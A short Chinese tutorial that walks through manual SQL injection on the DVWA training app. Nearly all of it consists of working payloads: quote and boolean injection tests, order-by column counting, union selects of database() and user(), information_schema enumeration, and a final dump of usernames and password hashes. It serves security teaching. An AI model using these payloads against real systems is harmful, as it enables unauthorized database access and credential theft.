一、首先判断是否存在sql数字注入或者sql字符注入
注:这里需要用到dvwa来做实验
- 在输入框或者url输入
'
(英文状态下的单引号) 如果页面报错说明存在字符注入。 - 、在输入框或者 url输入
and 1=1 #
页面正常输入and 1=2 #
页面报错说明存在数字注入
二、利用order by 语句查看该表存在几个字段
0' order by n #
n为字段数,当n=当前字段数,此时页面无变化,当n=当前字段+1时,页面报错说明这里的字段数为n.
三、查看当前字段位置
0’ union select 1,2 #
四、利用database()函数和user()函数查询当前使用的数据库和用户
0' union select database(),user() #
五、利用sql注入查表名
0' union select 1,group_concat(table_name)
from information_schema.tables where table_schema='dvwa' #
六、利用sql注入查users表的字段
0' union select 1,group_concat(column_name) from
information_schema.columns where table_schema='dvwa'
and table_name='users' #
七、利用sql注入查字段user/password
0'union select user,password from users #